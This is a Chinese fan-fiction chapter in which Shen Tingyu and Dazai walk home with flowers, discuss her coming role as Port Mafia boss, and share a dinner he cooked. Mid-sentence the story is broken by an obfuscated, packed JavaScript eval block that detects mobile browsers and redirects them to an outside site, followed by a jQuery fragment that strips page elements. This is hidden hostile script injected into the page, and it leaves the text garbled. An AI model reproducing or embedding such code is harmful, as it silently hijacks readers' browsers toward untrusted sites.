送敦走了一段路程后,沈庭榆去花店,把早上预定好的花拿走。
太阳西沉,横滨的夜晚不算安分,于是路人渐渐少了起来,沈庭榆抱着花束,步伐轻快地走在回公寓的路上。
被绿纹纸盛着的黄玫瑰花轻颤轻颤,鼻尖嗅到丝丝缕缕香气,这气味儿混杂着霓虹灯光,莫名叫沈庭榆想起来自己还没决定好要不要解决“书”时,决定在那个世界的华国小呆一段时间的日子。
即使夜幕来临,人流依然熙熙攘攘,沈庭榆胳膊支在高架桥栏杆上,注视着桥下光带一样的车流。这里的建筑和她家乡很相像,她寻着自己记忆中的地理位置找到坐标,想看看会不会存在熟悉的公寓或者校园。
公寓有的,却不是熟知的模样,敲开和家一样的单元楼门,里面走出个和蔼可亲的妇人。
妇人问:你找人吗?
沈庭榆说:您好,抱歉打扰,您认识沈庭榆吗?
妇人疑惑摇头。
于是沈庭榆突然就笑了。
妇人完全无法描述她的那个神情。
像是被抽走了最后一丝生气,连星光坠落的余烬都熄灭了,只剩被世界遗弃的苍凉在无声蔓延。
妇人僵在原地,指尖无意识蜷缩,不知道该做什么反应,只能用关怀的目光追随着这位神色破碎的陌生青年。
陌生青年微笑着道歉,说:不好意思,我走错啦。
于是沈庭榆又回到高架桥。
那个时候她想跳下去,体验过往动作电影里,演员们炫酷疾驰于车顶的感触。开个「心种」左右也不会影响到别人,也没人管得着她。
就在沈庭榆懒得管李华会不会骂她,打定主意来个jump时,衣角突然被小小扯动。
转头,扯她的人是个年纪不大的小女孩。女孩腰间挂小包,抱着个白桶,桶里咣当着半桶水,染得五颜六色的玫瑰枝末端削尖,稀稀疏疏扎在水里。
怎么啦?
沈庭榆问她。
女孩脸很小,面颊也没什么肉,唯独那双眼睛大大的。她艰难地从檐口到自己半腰大的白桶里拔出朵黄玫瑰递给沈庭榆。
漂亮姐姐,送给你。女孩小声。
送我吗?你不卖啦?意念操控叫桶重量减轻,沈庭榆疑惑发问。
女孩惊奇地发现自己手中的桶重量减轻了,她没表现出来,只是点点头:希望你开心,而且卖不出去。
沈庭榆笑了,没拆穿什么,只是遂她的愿把花全都买下来。
谢谢小朋友。沈庭榆说。
女孩眨巴眼,狡黠笑笑:谢谢大朋友,不要不开心。
然后把沓钱塞进腰包,跳跳哒哒走了。
不过一个小插曲,但莫名叫她放弃了下去玩的念想。
当时究竟为什么算了呢?
沈庭榆已经想不起来了。
或许是觉得吃穿不愁的自己,没必要这样做吧。
她踏遍万水千山,足迹遍布灯火通明的繁华都市与暗流涌动的动荡之地。
每当目睹战火中孤苦无依、颠沛流离的孩童,记忆便如潮水般涌来,那些过往她亲手终结的生命,一个个浮现在眼前。
岁月静好不过是历史褶皱里的吉光片羽,硝烟与安宁之间横亘着无数血泪,能在暖阳下安然呼吸,已是命运慷慨赐予的奇迹。
「魔王的愿景是世界和平。」
和真正的苦难者相比,沈庭榆觉得自己终究是幸运的,所以周游世界,以绵薄之力帮助有需要的人。
沈庭榆清楚无论如何自己的心态都撑不过毁“书”,只是在考量要不要做些手段拉自己一把。
最终的结果就是:她决定活下去。
事实证明,她选对了。
柳暗花明。
亲人、朋友、爱人……
人只有活着才能来到能够享受奇迹的那天。
猛地察觉到前方有人,沈庭榆收敛思绪,抬眸。
月光如薄纱漫过眼睑,墨玉般的虹膜微泛涟漪。
街尾昏黄的路灯将光晕投在几步之外,那人抱着花束静立其中。晚风掠过他沙色的衣袂,裹着白绿绣球的条纹包装纸沙沙作响。
哎呀!
几步跑到他身边,顺理成章抱过花,把购物袋塞进他伸出的手里,沈庭榆挎着太宰的手臂,双手抱花,挤挤攘攘地往前走。
“武装侦探社的生活怎么样呀?”
太宰的把视线从她怀里那束黄玫瑰移开:“平平无奇。”
沈庭榆眨眨眼,眼睛一闪一闪看着他,也不说话,只是适当表露期待。
太宰治:……
于是他开始分享自己今天的经历。
都是些简单到几分钟就能解决的委托,无非帮人找猫这件事有些叫人头疼。
躲在安置于巷子里的纸壳箱的小狸花猫,被他抓住后颈时张牙舞爪,又想挠他又想咬。塞进老婆婆手里却突然收起邪恶面孔变得乖顺,太宰治拍去身上为了找这不懂事小家伙而蹭到的灰,无视国木田独步复杂的眼神,打算转身就走。
结果手臂直接被婆婆抓住,他转头想问还有什么需要帮助的,结果被温柔拍着背很仔细感激一通。
她说谢谢你们把它带回来,小猫是她这孤寡老人家的命根子。
老家人的手指很粗糙,嗔怪怀里的狸花猫不懂事,抱歉自己和它给太宰他们添了麻烦,想请他们回家吃顿饭。太宰治安静听着,分析她是否有别的意图,这是否是谁设下的局。
结果没有。
使出浑身解数,太宰治想婉拒婆婆的邀请,无果,于是扯谎自己还有工作在身,用些话术把国木田独步坑给人家,思绪混乱地离开了。
听到这里,沈庭榆先是笑了,随后那抹笑意渐渐从嘴角褪去,她把太宰搂紧些。
太宰侧目看着她片刻,伴侣总是轻松扬起的眉梢此刻微拧,眼角耸拉着,似乎有点伤心。
肩膀被她用下巴轻轻蹭蹭,太宰治哑然片刻,感觉自己在被什么小动物贴着。
这是把他当做什么警惕心超高的心灵脆弱小可怜吗?
心底浮现柔软的无奈,太宰沉思两秒,随后相当自然地让嘴角轻轻下撇,流露出些许「不适应光明生活」的茫然。
成功获得身边人更加热烈的禁锢。
转移话题般,沈庭榆笑呵呵问:“国木田不得被你气坏了?”
太宰一挑眉:“实际上他还蛮愉快的。”
那位侦探被夸得很开心也很不好意思,难以招架热情的邀约,努力压制嘴角笑意,半推半就地被薅走了。
“……哇,我还以为他会讨厌计划外的事情?不过也是,嘴硬心软。”
看起来那位委托人很喜欢和人接触,也是,老人都是不喜欢孤独的。
大致推论出当时的情况,沈庭榆眨眨眼,心说听起来你们相处模式有些生疏啊,虽然很正常就是了——毕竟才没认识几天。
然而让沈庭榆意外的是,太宰突然说了这样的的话:“小榆和他关系不算亲近呢。”
这个“他”,显然指的是他们世界的国木田独步。
亲近啊?
沈庭榆把脸埋进绣球里。
“亲近不亲近谈不上,只是我的作风和他的「理想」很有冲突,国木田先生并非不理解,只是比较难受吧?而且我也不想动摇他的信念。”
毕竟她是不可能放下屠刀立地成佛的啦?
巨型史莱姆妖怪一样,沈庭榆慢慢慢慢黏压掉太宰的半边肩膀,她盯着天上的星星,思考太宰为什么会突然问这个呢?
福灵心至般,她了然:“说起来……我马上就当Mafia首领了欸?那我们算什么,双首领!?”
身形微不可察一顿,太宰装似无意间开口:“说起这个,那天晚上你看见【沈庭榆】的事情了?”
“是啊,全盛时期的我也打不过那个人呢。”
沈庭榆随口回复。
风吹得树叶沙沙作响,月明星稀,太宰鸢色的眼瞳被冷色的光衬得有些晦涩,他没有再谈论这个话题。
两人的影子被路灯拉得长长,在地面上亲密纠缠在一起,突然间沈庭榆拖长声线,问太宰:“做首领是什么感觉。”
什么感觉?
太宰治敛下眼睫。
掌控这座城市的暗处就像把玩一块布满裂纹的玻璃,指尖能感受到每道裂痕下暗涌的力量,稍有不慎就会被锋利的碎裂划破肌肤,流出鲜血。
但他玩的游刃有余。
办公桌面上花白的纸张层层叠叠,黑色的墨迹印在白纸上鲜明得像是能够渗出血迹,笔下所签皆为累累白骨。
罪孽深重、千夫所指?
太宰压根无所谓这种东西,却也已经过了随心所欲想着黑暗无光地处寻找人生意义的年纪。
肩膀上承着的,是有分量的事物。
总有火光在黑暗中明明灭灭,可太宰不清楚真正的晨曦是否能来临。在这条的路上,他唯一能确定的是,明天太阳升起时,或许又会有新的鲜血渗入这座城市的地基,浇灌出更娇艳的罪恶之花。
而他们要湮灭花朵根系,直至铸就铜墙铁壁,断去渗输血液的管道。
这条路太宰治走的并不孤独,他的朋友都在身侧陪伴支持着他——为了那和平之日的到来。
15岁的少年太宰治听见这种未来,大概会觉得无趣乏味、嗤之以鼻,但现在的首领太宰治在为此努力。
……那么外来者[沈庭榆]呢?
憎恶着文野世界的她,如果成为那黑暗地处的君主,会如何做?
身体被走路没正形的人从路边缓缓挤到青石路正中央,感受着她的躯体温度太宰微不可察叹气,他所接触过的那位主线榆,一举一动都带给他极其压抑的束缚感。自只言片语中获悉的那个be世界,那位首领半步疯魔,唯留满地狼藉。
他的小榆呢?
坐上那个位置会变成何种模样?
“抱歉,如果你不想说就当我没问吧。”
思绪被耳侧沈庭榆轻快的声音打断,太宰停下步伐,转过身。
片刻窸窣声响,沈庭榆把怀里两把花举到脸旁摆成“V”字,那双色差鲜明的眼透过花团锦簇冲他眨巴。
昏黄路灯将夜幕染成粘稠的琥珀,太宰垂落的睫毛在眼下投出鸦羽般的暗色,他安静目视着青石板路上沈庭榆的影子。她怀中花束不规则包装形成的暗影,鸟尾翼似的弯成弧形,在女人的发顶形成皇冠。
宛若无声的加冕礼。
经年幕幕如白鸽飞跃天际,自脑中掠过,太宰缓慢地掀起眼皮,语调微扬:
“小榆的话,适合那个位置。”
他的沈庭榆可以用自己的眼睛去看、去体会,不必来问询他,她有着不被那里侵染的能力。
完全没预料到被这样回答,喉间似被团团浓夜噎住,大概在秒针奔过转盘一圈后,沈庭榆倏地笑了:“哇喔,因为第四天灾心态?”
她仰望天空,眉眼弯弯。
脚下不是荒野。今夜无雨,星也零丁,唯余清风徐来牵起沙与白的衣袂,把它们连在一起。
太宰治安静注视着她。
沈庭榆的声音缥缈响起:“呵呵,这样想真是神奇,被黑暗滋养的[沈庭榆]竭力维系着‘正常’,身处光明的我却反而浑然不顾呢……呃?!”
两根骨节分明的手指蟹钳般,揪起她右侧面颊上的软肉,揉捏扯动。
梅雨季节,在潮湿空气里游动的花瓣般,太宰此刻的神情柔软得不可思议。
“不是喔,小榆。”
这声音温和反驳她的话:
“你有着比那更恐怖的事物。”
眉梢漫溢笑意,沈庭榆歪头贴上他的手指:
“那是什么呢?”
这只手臂上的购物袋早已换手提着,太宰摊开手掌,指腹摩挲着眼睑。那圆月般的冷冽的虹膜反射出他的身形。
太宰轻声道:“信念。”
闻言,像是被人塞了几百块芥末团膏般,沈庭榆莫名被呛到:“噗……咳咳,我有这东西吗?”
“有哦。”
“呵呵……好吧。”
进行这简短对话后,沈庭榆和太宰治像是才想起来有系统空间存在一样,预备把花束和礼品袋子通通塞进去。
沈庭榆的指尖掠过花束,挑出两朵花,绣球的柔白与黄玫瑰的炽烈在掌心交缠。另一只手自然地向身旁探去,指节轻巧滑入太宰掌心的凹陷。
还没有几步路就到了那所公寓,沈庭榆刻意把脚步放缓:“你这个人真可怕啊,双商都这么高了再直率点……哇呜,我彻底沦陷了。”
太宰挑眉:“是吗?”
喉结轻微滚动,他别开眼,自然说道:“那彼此彼此。”
这话音落下,两人像是被谁突然掐住喉咙,都安静好一会儿。
努力挥散面上的热气,沈庭榆有些慌乱地说:“咳咳,你说敦今晚会哭吗?”
太宰别过脸,留给她一个发红的耳尖:“……哈,一定会。”
“治君。”
“……嗯?”
“能有体会到你生活的、可以理解你的机会,真好啊。”
*
玄关的灯被按开,擦亮耳尖通红人们的身影。
熟悉的香气自餐桌蔓延,沈庭榆循着望去,稍感意外地睁大眼。
理石台面蒙着浸透熏香的丝绸,灯光顺着褶皱流淌,在骨瓷餐盘上凝出暖色。
黄鱼馄饨、毛蟹炒年糕,玉子烧。
三道菜品,两道中国菜,一道日式菜。
这一刻,比感动先到来的是尴尬。
因为沈庭榆突然想起,自己两年前把人抱进地下室后天天吃的是外卖,而眼前这顿饭一眼可见是亲手做的。
厨师经历叫主线榆对于厨具要求很高,因此厨房的设计可以算是这间房子里最用心的部分。
僵硬扭头,只见厨房被收拾的干干净净,一尘未染。
所以太宰是在忙完一天工作后,带着花回家做完饭,收拾好厨房,再出门接的自己。
如遭雷击,沈庭榆语气飘忽:“……你、你还会做饭啊?”
她不会。
完了,完了啊。
沈庭榆此刻清晰意识到这个事实:实际年龄比太宰大一旬的自己,不仅积蓄不够养大少爷,生活能力也比不上。
她直接被打击褪色了。
浑浑噩噩被人牵进屋按在餐桌上,沈庭榆盯着面前的馄饨。
雾气蒸腾的骨瓷碗里,外形精致漂亮的馄饨个个蜷成起,薄如宣纸的面皮裹着嫩黄鱼肉,在乳白鱼汤里若隐若现。
透亮的皮冻早已融化成汤汁里的银丝,随着热气轻轻颤动,裹挟着细碎的姜末与翠绿葱花。
叫Mafia首领给她做饭,沈女士你女儿出息了。
眼泪不争气从嘴角流下,沈庭榆呜呜哀嚎:“你不应该是,十指不沾阳春水的那种吗……”
“……有时候我真好奇自己在小榆心里是什么形象。”
被这话无语梗塞片刻,太宰治盛好馄饨放在她面前,随后坐在她对面。
瓷勺搅动碗里的混沌,太宰治垂下眼睫。
她喜欢吃这个?
过往太宰就发现这个人的饮食嗜好难以摸清,两年前地下室里,如果他不点餐而是让她随便点,她就会带来适合他嗜好的鲜味比较明显的食物。太宰曾观察过她吃饭时的模样:无论餐桌上有什么,哪怕是卖相奇怪的小菜,她也每个都会尝一口。
沈庭榆似乎没有自己特定的偏好食物或者厌恶的餐品。只要是常规意义上「好吃」的食物,她都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744075|155924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会表露喜爱,难吃的也能凑合。
这种态度不像是饥饿造就的,看她的家庭也不是缺乏资金的模样……
华国教育。
普通人世界的华国看起来和他们的也有相似之处。
瓷勺轻放在唇边,汤汁润湿唇瓣。
“嗯……厉害强势年轻的待被我包养的矜贵大美人。”
一口气没上来,太宰治持着勺子的手臂猛地僵住,几滴汤汁溢出掉进碗里。
那张平静秾丽的面孔第一次战现出思绪被颠覆造就的裂痕,太宰放下餐具双手交叠。那抹被收敛很好的上位者气势此刻隐隐散发,像是完全不能理解沈庭榆的言论,他难以置信地问询:“……什么?”
沈庭榆抱着碗眼神飘忽,小声重复:“待被我包养的矜贵大美人。”
太宰治:……
这回连前缀都没了,是吗。
“小榆要包养我?”
太宰治蹙着眉盯着她,想从中找出开玩笑的意味。
然而没有。
如果有的话他也不会再问一遍。
“是啊,我都吃嫩草啦,总得给嫩草点什么吧?”
“我图你色,那你图我钱好啦。”
太宰治:……。
沈庭榆小口喝着馄饨汤,咸香的汤汁让她既幸福又悲哀,好好喝,人怎么能这么全能……
她蔫吧地咬着馄饨,鱼肉鲜甜的味道透过弹牙的馄饨皮露出,好好吃。
好厉害的厨艺。
咽下嘴里的食物,沈庭榆耸拉着头:“宝贝你知道我现在没什么积蓄,而且独来独往时一般都去饭店,所以生活技能目前也不如你,年龄也比你大……”
喔。
须臾推理出原委,太宰治静静看着这个人表演,他注意到这个人已经提了三次自己的年龄了。
这么在意这个问题?还是……装的?
已经完全沉浸在自己的哀伤中的沈庭榆轻轻放下碗,握紧拳头,笃定道:“但宝贝要坚信我的能力!我一定会让你过上幸福生活的!”
包养,Mafia首领。
温热的手掌覆上她的拳,太宰治唇角挂着笑,一根根掰开她的手指:“港口黑手党的效益足够你奢靡几辈子。”
“说到厨艺……小榆觉得好吃吗?”眼神不自然移开,太宰治的唇角微微抿直。
“好吃,太好吃了呜呜……这是我有史以来吃过最好吃的馄饨了,死而——唔。”
太宰突然松开她的手。
掌心覆上沈庭榆微张的唇瓣,将未尽的言语尽数封住,沈庭榆错愕睁大眼。
餐桌上方的柔光被太宰狭长的眼睫筛碎,那双鸢色瞳仁此刻翻涌着晦涩暗潮,如同暴风雨前压抑的天空,无形的压迫感抽走周围的氧气,连呼吸都变得艰难起来。
他压着眼角,声音平静:“回家路上,小榆刻意将话题往自己即将即位身上引,想获得我对这件事的看法,为什么?”
伪装逐渐褪去,方才耍闹失意的人消失不见,沈庭榆眼神平静地望着他。
“小榆提出包养,是因为不想让我继续当Port Mafia的首领——你在试探我对这件事的态度,且这次是认真的。”
沈庭榆轻轻叹息,想别开脸,结果颌骨被人牢牢扣住。如同一把手术刀,精准剖开所有假面,太宰治慢条斯理:“你的态度转变了,因为【沈庭榆】的故事。”
“提起那个人,小榆的第一反应是:自己全盛时期能不能敌过。来到这里的第一天夜晚,你怀着糟糕的情绪临时改主意出门展开计划——是因为管理者劝诫你不要对她做些什么,而你感到烦躁。”
太宰治一锤定音:“你对她有杀意。”
整间屋子像被按下静音键,连悬浮的尘埃都凝固在空中。
良久,沈庭榆垂下眼睫,抬手摩挲着太宰的手掌,轻轻开口:“你原本不会说这样的话的,”她的视线落在满桌菜品上:“也不该会这样的事情。”
“我其实并不需要你改变什么,或者为我做什么,是我父母的话让你有压力了吗?”
单手支着额头,脸上褪去最后一丝虚伪神色,沈庭榆侧头把玩着太宰的手指:“他们嘱托你什么了?”
「我们可以拜托你救救她吗?」
太宰治的眼眸细微闪烁。
然而像是获得什么答案般,沈庭榆低头轻轻笑了一声:“原来如此……他们把我的性命压在你身上了啊。”
“放心吧,我不会对她做什么,她也不会对我做什么。”
像是在说愚人节笑话般,沈庭榆闭上眼:“她可是我啊,‘看见’过的所有同位体之中……最喜欢的一个了。”
“骗子。”
太宰治冷漠揭开她的假面。
“……哈哈,怎么样都好,我已经放弃原本的打算了——不如说我怎么样都会放弃吧,毕竟怎么能因为一己私欲叫整盘计划都不稳定呢?”
沈庭榆慢慢滑到桌子上,把头埋进臂弯里。
“我真讨厌管理者大人,什么都能原谅,我真讨厌她啊……明明那个人想杀了她、想掐灭我们唯一的希望啊。”
太宰治握着她的手,安静倾听着这个人的抱怨。
“想了几百种方法来摧毁那个人的精神又不至于让她完不成计划,预案里有三种存在着我会被她杀死的可能……最后……欸……”
沉重的叹息自臂弯里钻出,沈庭榆蔫蔫地:
“……结果你……欸……幸福者退让原则,我都这样幸福了就算了吧,其实原本我也会放弃……就是没想到这么快……唉——,说到底我也没那么高尚、也只是在为自己打抱不平罢了,好自私差劲。”
像是火锅里被倒进黑水煮到冒泡,手紧紧攥着太宰治,沈庭榆用餐桌遮住脸:“我知道你在担心什么,放心吧我是想活下去的,已经不会再去走极端了。不然干嘛今天卖那么多破绽叫你安慰呢?”
“啊啊真是的……他们干嘛和你说那句话啊,你没必要担负我的一生,明明我才和芥川他们谈完这个事情。”
如果不是爱,而是责任困住这个人的话,她不要。
沈庭榆逐渐缩成一团。
太宰治该是自由的。
眉头微挑,太宰治用着无奈好笑的神情看着面前陷入自厌情绪的人,他轻声问:“小榆你……是觉得我是因为你父母的嘱托才做这些的?”
“你为什么觉得我会这样轻易就被谁影响呢?”
言下之意:瞧不起谁呢。
沈庭榆叹气:“我觉得我们进度太快了,我太急了,见父母给你带来了负担。”
把玩她的发丝,太宰治心说能叫他产生负担的存在还未诞生人世。
心脏被温柔细腻的情绪裹挟,这种被极端在意呵护的感觉让太宰心情十分愉快。这个人终于褪去硬壳,在自己面前展露出柔软的内里。
伴侣这样宛若普通人一样的苦恼,让太宰治有了几分新的体验,什么柔软的事物被触碰,他俯下身凑近沈庭榆的耳畔:“我这样做是因为——”
余下的话语融进菜品袅袅升起的热气里。
1秒,2秒。
满血复活的沈庭榆,慢慢支棱起来,眼睛眯起:“真的吗?”
她的耳根已经红透了。
太宰治的唇角挂着轻松的笑:“……小榆真狡猾啊,明明知道我不擅长说这种话吧。”
“好吧,饶了你好啦。”
沈庭榆深表遗憾,心想早知道刚刚哭出来好了,这样兴许还能听第二遍。
不过……
视线定在太宰的面孔上,沈庭榆沉思着。
掩饰慌乱,瓷勺舀起汤汁贴在唇边,太宰刚把馄饨送入口中。
就听见沈庭榆说:
“宝贝,我们以后可不可以睡在一个屋里?”